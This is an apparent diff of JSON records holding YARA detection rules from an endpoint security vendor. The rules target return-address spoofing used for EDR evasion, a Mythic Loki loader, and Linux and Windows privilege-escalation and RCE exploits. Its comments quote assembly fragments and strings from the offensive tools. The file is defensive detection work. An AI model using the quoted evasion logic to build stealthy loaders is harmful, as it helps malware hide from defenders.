+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.566226Z",
+  "creation_date": "2026-03-23T11:46:25.566228Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.566234Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html\nhttps://0xdarkvortex.dev/hiding-in-plainsight/\nhttps://0xdarkvortex.dev/proxying-dll-loads-for-hiding-etwti-stack-tracing/\nhttps://github.com/klezVirus/SilentMoonwalk/\nhttps://github.com/Kudaes/Unwinder"
+  ],
+  "name": "custom_call_stack_e652623d09ba.yar",
+  "content": "rule return_addr_spoofing_e652623d09ba {\n    meta:\n        title = \"Return Address Spoofing Technique (e652623d09ba)\"\n        id = \"52c39720-8a04-4f7e-b04f-e652623d09ba\"\n        description = \"Detects usage of return address spoofing.\\nThis technique hijacks execution to execute malicious API calls with a legitimized call stack. The malware modifies a parameter structure to intercept execution flow: it saves the target function pointer, overwrites the structure with a return trampoline address, and stores the original return address within the structure itself. When the target API executes, EDR stack inspection sees a clean call chain originating from legitimate Windows internals rather than suspicious RX regions.\\nThe technique consists of two key components:\\n1. Manipulating the stack structure before calling the target API, installing a return handler\\n2. Restoring execution flow after the API returns.\\nThis bypasses EDR call stack inspection that would normally flag direct calls from shellcode/injected regions to sensitive APIs like NtAllocateVirtualMemory, NtProtectVirtualMemory, or NtCreateThreadEx.\\nIt is recommended to investigate processes using with unusual callback patterns, examine memory regions containing the detected code sequences, analyze parent-child process relationships, and correlate with other suspicious behaviors such as process injection, memory allocation in remote processes, or unsigned code execution.\"\n        references = \"https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html\\nhttps://0xdarkvortex.dev/hiding-in-plainsight/\\nhttps://0xdarkvortex.dev/proxying-dll-loads-for-hiding-etwti-stack-tracing/\\nhttps://github.com/klezVirus/SilentMoonwalk/\\nhttps://github.com/Kudaes/Unwinder\"\n        date = \"2025-11-18\"\n        modified = \"2025-11-25\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1140\"\n        classification = \"Windows.Generic.RetAddrSpoofing\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 205693dcaac70b9aaf7eba05b23e33d163b0bd57819a69da79c3c44d998b5965\n        // c300a89bd40b4bc5b62c99b666fa1e6a1fd79647082b9184a0d72f0e14ab75e6\n        // 27f457698c50441153bb67510124de1a36a62774e08fb231f365f291594b2e14\n        // ab1f157855332fa1e4ed5353e2e99e6b976c8c0d321e366bbdfadedc7e73777f\n        // 4eadde084c30b4d3a0b5413d83ac8d0ad29a605c7557bdb5ecf36043e28ce7a4\n        // faa5e504f256e5dc0955b126d63a76c903e482fe413a7b24bf3bc6e308a6112d\n\n\n        // This detection is based on the SilentMoonwalk and Unwinder implementations.\n        // They use parameter_handler assembly functions to adjust the stack according to the number of parameters\n        // given to an API call.\n\n        // parameter_handler proc\n        // \tmov\t\tr9, rax\n        // \tmov\t\trax, 8\n        // \tmov\t\tr8, [rcx].SPOOFER.Nargs\n        // \tmul\t\tr8\n        // ;\tpop\t\trdx\n        // ;\tsub\t\trsp, rax -- Not necessary\n        // ;\tpush\trdx\n        // \txchg\tr9, rax\n        // \tcmp\t\t[rcx].SPOOFER.Nargs, 8\n        // \tje\t\thandle_eight\n        // \tcmp\t\t[rcx].SPOOFER.Nargs, 7\n        // \tje\t\thandle_seven\n        // \tcmp\t\t[rcx].SPOOFER.Nargs, 6\n        // \tje\t\thandle_six\n        // \tcmp\t\t[rcx].SPOOFER.Nargs, 5\n        // \tje\t\thandle_five\n        // \tcmp\t\t[rcx].SPOOFER.Nargs, 4\n        // \tje\t\thandle_four\n        // \tcmp\t\t[rcx].SPOOFER.Nargs, 3\n        // \tje\t\thandle_three\n        // \tcmp\t\t[rcx].SPOOFER.Nargs, 2\n        // \tje\t\thandle_two\n        // \tcmp\t\t[rcx].SPOOFER.Nargs, 1\n        // \tje \t\thandle_one\n        // \tcmp\t\t[rcx].SPOOFER.Nargs, 0\n        // \tje \t\thandle_none\n        // parameter_handler endp\n\n        $place_args_for_call = {\n            41 57                              // push    r15\n            4C 8B B9 ?? 00 00 00               // mov     r15, qword [rcx+0xc8]\n            4C 89 7C 24 30                     // mov     qword [rsp+0x30], r15\n            41 5F                              // pop     r15\n            EB 00                              // jmp     0x140003362\n            4C 8B 89 ?? 00 00 00               // mov     r9, qword [rcx+0xc0]\n            EB 00                              // jmp     0x14000336b\n            4C 8B 81 ?? 00 00 00               // mov     r8, qword [rcx+0xb8]\n            EB 00                              // jmp     0x140003374\n            48 8B 91 ?? 00 00 00               // mov     rdx, qword [rcx+0xb0]\n            EB 00                              // jmp     0x14000337d\n        }\n\n        $parameter_handler_long_jmp = {\n            48 83 [2-6] 04                     // cmp     qword [rcx+0x78], 0x4\n            0F 84 [2] 00 00                    // je      0x1400263de\n            48 83 [2-6] 03                     // cmp     qword [rcx+0x78], 0x3\n            0F 84 [2] 00 00                    // je      0x1400263e7\n            48 83 [2-6] 02                     // cmp     qword [rcx+0x78], 0x2\n            0F 84 [2] 00 00                    // je      0x1400263f0\n            48 83 [2-6] 01                     // cmp     qword [rcx+0x78], 0x1\n            0F 84 [2] 00 00                    // je      0x1400263f9\n            48 83 [2-6] 00                     // cmp     qword [rcx+0x78], 0x0\n            0F 84 [2] 00 00                    // je      0x14002640b\n        }\n\n        $parameter_handler_short_jmp = {\n            48 83 [2] 00 00 00 04              // cmp     qword [rcx+0xa0], 0x4\n            (74|75|76) ??                      // je      0x140003362\n            48 83 [2] 00 00 00 03              // cmp     qword [rcx+0xa0], 0x3\n            (74|75|76) ??                      // je      0x14000336b\n            48 83 [2] 00 00 00 02              // cmp     qword [rcx+0xa0], 0x2\n            (74|75|76) ??                      // je      0x140003374\n            48 83 [2] 00 00 00 01              // cmp     qword [rcx+0xa0], 0x1\n            (74|75|76) ??                      // je      0x14000337d\n            48 83 [2] 00 00 00 00              // cmp     qword [rcx+0xa0], 0x0\n            (74|75|76) ??                      // je      0x140003386\n        }\n\n    condition:\n        1 of ($parameter_handler_*) and $place_args_for_call\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "return_addr_spoofing_e652623d09ba"
+  ],
+  "rule_creation_date": "2025-11-18",
+  "rule_modified_date": "2025-11-25",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.RetAddrSpoofing"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-custom_call_stack_f25fb1cf3993_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.566079Z",
+  "creation_date": "2026-03-23T11:46:25.566081Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.566087Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html\nhttps://0xdarkvortex.dev/hiding-in-plainsight/\nhttps://0xdarkvortex.dev/proxying-dll-loads-for-hiding-etwti-stack-tracing/\nhttps://github.com/JLospinoso/gargoyle/"
+  ],
+  "name": "custom_call_stack_f25fb1cf3993.yar",
+  "content": "rule return_addr_spoofing_f25fb1cf3993 {\n    meta:\n        title = \"Return Address Spoofing Technique (f25fb1cf3993)\"\n        id = \"58c7bb28-0578-4f60-87b8-f25fb1cf3993\"\n        description = \"Detects usage of return address spoofing.\\nThis technique hijacks execution to execute malicious API calls with a legitimized call stack. The malware modifies a parameter structure to intercept execution flow: it saves the target function pointer, overwrites the structure with a return trampoline address, and stores the original return address within the structure itself. When the target API executes, EDR stack inspection sees a clean call chain originating from legitimate Windows internals rather than suspicious RX regions.\\nThe technique consists of two key components:\\n1. Manipulating the stack structure before calling the target API, installing a return handler\\n2. Restoring execution flow after the API returns.\\nThis bypasses EDR call stack inspection that would normally flag direct calls from shellcode/injected regions to sensitive APIs like NtAllocateVirtualMemory, NtProtectVirtualMemory, or NtCreateThreadEx.\\nIt is recommended to investigate processes using with unusual callback patterns, examine memory regions containing the detected code sequences, analyze parent-child process relationships, and correlate with other suspicious behaviors such as process injection, memory allocation in remote processes, or unsigned code execution.\"\n        references = \"https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html\\nhttps://0xdarkvortex.dev/hiding-in-plainsight/\\nhttps://0xdarkvortex.dev/proxying-dll-loads-for-hiding-etwti-stack-tracing/\\nhttps://github.com/JLospinoso/gargoyle/\"\n        date = \"2025-11-17\"\n        modified = \"2025-11-24\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1140\"\n        classification = \"Windows.Generic.RetAddrSpoofing\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // e5fbc107114e21867fd8af958664823780fba55cd62676468f95ab75d7cc882d\n        // c3218412d5192d0487bace7295c19c263d04d520b9b7cf1f8b6291e1967b4e7a\n\n        // This detection is based on the Gargoyle setup assembly implementation - for further detection on the PE directly, see the ROP gadget search Yara\n\n        // mov ebx, [esp+4] ; Configuration in ebx now\n        // lea esp, [ebx + Configuration.trampoline - 4] ; Bottom of \"stack\"\n        // mov ebp, esp\n        // ; If we're initialized, skip to trampoline fixup\n        // mov edx, [ebx + Configuration.initialized]\n        // cmp edx, 0\n        // jne reset_trampoline\n\n        $trampoline_configuration = {\n            8B 5C 24 04                // mov ebx, [rsp+4]\n            8D A3 34 00 01 00          // lea esp, [rbx+0x10034]\n            89 E5                      // mov ebp, esp\n            8B 13                      // mov edx, [rbx]\n            83 FA 00                   // cmp edx, 0\n            (74|75|76)                 // jne +47\n        }\n\n        // ; Setup arguments for WaitForSingleObjectEx x1\n        // push 1\n        // push 0xFFFFFFFF\n        // mov ecx, [ebx + Configuration.sleep_handle]\n        // push ecx\n        // push 0 ; Return address never ret'd\n        // ; Setup arguments for WaitForSingleObjectEx x2\n        // push 1\n        // push 0xFFFFFFFF\n        // mov ecx, [ebx + Configuration.sleep_handle]\n        // push ecx\n        // ; Tail call to WaitForSingleObjectEx\n        // mov ecx, [ebx + Configuration.WaitForSingleObjectEx]\n        // push ecx\n\n        $waitforsingleobjectexcall = {\n            6A 01                      // push 1\n            6A FF                      // push -1\n            8B 4B 24                   // mov ecx\n            51                         // push rcx\n            6A 00                      // push 0\n            6A 01                      // push 1\n            6A FF                      // push -1\n            8B 4B 24                   // mov ecx, [rbx+0x24]\n            51                         // push rcx\n            8B 4B 10                   // mov ecx, [rbx+0x10]\n            51                         // push rcx\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "return_addr_spoofing_f25fb1cf3993"
+  ],
+  "rule_creation_date": "2025-11-17",
+  "rule_modified_date": "2025-11-24",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.RetAddrSpoofing"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1140"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-custom_mythic_loki_loader_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.576339Z",
+  "creation_date": "2026-03-23T11:46:25.576341Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.576346Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securelist.com/loki-agent-for-mythic/113596/\nhttps://attack.mitre.org/software/S0699/"
+  ],
+  "name": "custom_mythic_loki_loader.yar",
+  "content": "rule custom_mythic_loki_loader {\n    meta:\n        title = \"Custom Mythic Loki Loader\"\n        id = \"bf31a64b-3b80-43a2-9c03-f018aa61ddd1\"\n        description = \"Detects a custom Mythic Loki loader.\\nLoki is a private agent of the Mythic Framework, an open-source cross-platform post-exploitation framework designed for red teaming and security testing.\\nIt is recommended to investigate parent processes or initial access vectors on the machine and to look for further signs of malicious actions on the host.\"\n        references = \"https://securelist.com/loki-agent-for-mythic/113596/\\nhttps://attack.mitre.org/software/S0699/\"\n        date = \"2024-09-09\"\n        modified = \"2025-03-07\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0699;attack.execution;attack.defense_evasion;attack.t1055;attack.t1059;attack.command_and_control;attack.t1071;attack.t1572\"\n        classification = \"Windows.Loader.MythicLoki\"\n        context = \"process,memory,thread,file.pe\"\n        arch = \"x64\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // aa544118deb7cb64ded9fdd9455a277d0608c6985e45152a3cbb7422bd9dc916\n\n        $resolve_ntdll = {\n            3c                 // movsxd  rdx, dword [rdx+0x3c]\n            ??????88000000     // mov     eax, dword [rbx+rdx+0x88]\n            ????               // test    eax, eax\n            ????               // je      0x406710\n            ????????           // lea     r9, [rbx+rax]\n            ??????0c           // mov     edx, dword [r9+0xc]\n            4?????             // add     rdx, rbx\n            4?????             // mov     r8d, dword [rdx]\n            ??????20202020     // or      r8d, '    '\n            ??????6e74646c     // cmp     r8d, 0x6c64746e\n            7???               // jne     0x406710\n            ??????             // mov     eax, dword [rdx+0x4]\n            ??20202020         // or      eax, '    '\n            3d6c2e646c         // cmp     eax, 'l.dl'\n        }\n\n    condition:\n        $resolve_ntdll\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "custom_mythic_loki_loader"
+  ],
+  "rule_creation_date": "2024-09-09",
+  "rule_modified_date": "2025-03-07",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Loader.MythicLoki"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071",
+    "attack.t1059",
+    "attack.t1055",
+    "attack.t1572"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cve-2019-13272_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.586608Z",
+  "creation_date": "2026-03-23T11:46:25.586611Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.586620Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://nvd.nist.gov/vuln/detail/cve-2019-13272\nhttps://github.com/jas502n/CVE-2019-13272"
+  ],
+  "name": "cve-2019-13272.yar",
+  "content": "rule cve_2019_13272 {\n    meta:\n        title = \"CVE-2019-13272 LPE Exploit\"\n        id = \"fb471bcb-8b82-4d4d-b837-fe6120fd3914\"\n        description = \"Detects an exploit targeting the CVE-2019-13272 vulnerability in Linux kernels before 5.1.17.\\nThe CVE-2019-13272 vulnerability, located in ptrace_link within \\\"kernel/ptrace.c\\\", allows local users to gain root privileges by improperly handling process credentials during ptrace relationship creation.\\nThis exploit enables unprivileged users to escalate privileges on the system.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://nvd.nist.gov/vuln/detail/cve-2019-13272\\nhttps://github.com/jas502n/CVE-2019-13272\"\n        date = \"2023-09-08\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068;cve.2019-13272\"\n        classification = \"Linux.Exploit.CVE-2019-13272\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 77c96e6fd44a70046817e1fdb67cc8f38e01fceb4b20a24a7d019c33553c9652\n\n        $s1 = \"[.] Checking environment ...\" fullword ascii\n        $s2 = \"[~] Done, looks good\" fullword ascii\n        $s3 = \"[.] Spawning suid process (%s) ...\" fullword ascii\n        $s4 = \"[.] Tracing midpid ...\" fullword ascii\n\n        $exploit0 = \"/usr/bin/pkaction\" fullword ascii\n        $exploit1 = \"/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper\" fullword ascii\n        $exploit2 = \"Uid:\\t%d\\t0\\t\" fullword ascii\n        $exploit3 = \"implicit active:\" fullword ascii\n        $exploit4 = \"/xf86-video-intel-backlight-helper\" fullword ascii\n        $exploit5 = \"/proc/%d/comm\" fullword ascii\n\n    condition:\n        uint16(0) == 0x457f and (all of ($s*) or all of ($exploit*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cve_2019_13272"
+  ],
+  "rule_creation_date": "2023-09-08",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Exploit.CVE-2019-13272"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cve-2019-18935_loader_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.566431Z",
+  "creation_date": "2026-03-23T11:46:25.566433Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.566438Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://nvd.nist.gov/vuln/detail/cve-2019-18935\nhttps://bishopfox.com/blog/cve-2019-18935-remote-code-execution-in-telerik-ui"
+  ],
+  "name": "cve-2019-18935_loader.yar",
+  "content": "rule cve_2019_18935_exploitation {\n    meta:\n        title = \"CVE-2019-18935 RCE Exploitation\"\n        id = \"ab127a7f-5f4e-4de1-b12d-2312aba04dfa\"\n        description = \"Detects a payload used in the exploitation of the CVE-2019-18935 Remote Code Execution vulnerability related to a .NET JSON deserialization vulnerability in Telerik UI.\\nThis vulnerability allows the execution of a previously uploaded binary via a mix mode assembly DLL.\\nIt is recommended to analyze the suspicious DLL loaded by the IIS worker process (w3wp.exe).\"\n        references = \"https://nvd.nist.gov/vuln/detail/cve-2019-18935\\nhttps://bishopfox.com/blog/cve-2019-18935-remote-code-execution-in-telerik-ui\"\n        date = \"2025-09-12\"\n        modified = \"2025-09-30\"\n        author = \"HarfangLab\"\n        tags = \"attack.initial_access;attack.t1190;attack.execution;attack.t1203;cve.2019-18935\"\n        classification = \"Windows.Exploit.CVE-2019-18935\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 469ca6c37b6dc3f284fd709de94c26c415296bb936e5b27a78c877a3931442cf\n        // fb645d718596726a9f6a2b2dc1ef239e39bbf78c7f209b311168c836617c5829\n        // 82bfd4386b481571eacb0108f3640e84fbf173ae219280e12373e63f5dffc3e3\n        // eeeb01aacdcbe10c1c0dddaa3472cb9edbcafa5b9a962670a29cdc4107dffb32\n\n        $stub_memset_createprocess_x64 = {\n            41 b8 68 00 00 00        // mov     r8d, 0x68\n            33 d2                    // xor     edx, edx  {0x0}\n            48 8d 4c 24 70           // lea     rcx, [rsp+0x70 {lpStartupInfo}]\n            e8 db 0b 00 00           // call    memset\n            c7 44 24 70 68 00 00 00  // mov     dword [rsp+0x70 {lpStartupInfo}], 0x68\n            41 b8 18 00              // mov     r8d, 0x18\n        }\n\n        $stub_memset_createprocess_x86 = {\n            6a 44                   // push    0x44 {var_5c}\n            6a 00                   // push    0x0 {var_60}\n            8d 45 ac                // lea     eax, [ebp-0x54 {lpStartupInfo}]\n            50                      // push    eax {lpStartupInfo} {var_64_1}\n            e8 57 0c 00 00          // call    _memset\n            83 c4 0c                // add     esp, 0xc\n            c7 45 ac 44 00 00 00    // mov     dword [ebp-0x54 {lpStartupInfo}], 0x44\n            6a 10                   // push    0x10 {var_5c}\n            6a 00                   // push    0x0 {var_60}\n        }\n\n        condition:\n            1 of ($stub_memset*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cve_2019_18935_exploitation"
+  ],
+  "rule_creation_date": "2025-09-12",
+  "rule_modified_date": "2025-09-30",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Exploit.CVE-2019-18935"
+  ],
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1203",
+    "attack.t1190"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cve-2021-22555_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.576816Z",
+  "creation_date": "2026-03-23T11:46:25.576818Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.576824Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/google/security-research/blob/master/pocs/linux/cve-2021-22555/writeup.md"
+  ],
+  "name": "cve-2021-22555.yar",
+  "content": "rule cve_2021_22555 {\n    meta:\n        title = \"CVE-2021-22555 LPE Exploit\"\n        id = \"124cd391-d12c-4929-b019-e3a576bfe0c5\"\n        description = \"Detects the exploitation of the CVE-2021-22555 vulnerability in the Linux Netfilter module.\\nThis vulnerability is a 15-year-old heap out-of-bounds write flaw that allows an attacker to bypass modern security mitigations and achieve kernel code execution.\\nIt has been exploited in kCTF to attack Kubernetes pods and achieve container escape, leading to potential unauthorized access.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://github.com/google/security-research/blob/master/pocs/linux/cve-2021-22555/writeup.md\"\n        date = \"2023-09-08\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1068;cve.2021-22555\"\n        classification = \"Linux.Exploit.CVE-2021-22555\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 708b6d59201d7168bd9c935362408cf5b42c6d0d96fd4aa6bce510d31ffc464c\n\n        $s1 = \"[*] Searching for corrupted primary message...\" fullword ascii\n        $s2 = \"[*] Leaking adjacent secondary message...\" fullword ascii\n        $s3 = \"[+] kheap_addr: %llx\" fullword ascii\n        $s4 = \"[-] Error kernel heap address is incorrect.\" fullword ascii\n        $s5 = \"[*] Spraying pipe_buffer objects...\" fullword ascii\n        $s6 = \"[+] Root privileges gained.\" fullword ascii\n\n        $exploit1 = \"__socketpair\" fullword ascii\n        $exploit2 = \"__socket\" fullword ascii\n        $exploit3 = \"/proc/1/ns/mnt\" fullword ascii\n        $exploit4 = \"/proc/1/ns/pid\" fullword ascii\n        $exploit5 = \"/proc/1/ns/net\" fullword ascii\n\n    condition:\n        uint16(0) == 0x457f and (4 of ($s*) or all of ($exploit*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "cve_2021_22555"
+  ],
+  "rule_creation_date": "2023-09-08",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Exploit.CVE-2021-22555"
+  ],
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-cve-2021-33909_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.586666Z",
+  "creation_date": "2026-03-23T11:46:25.586668Z",
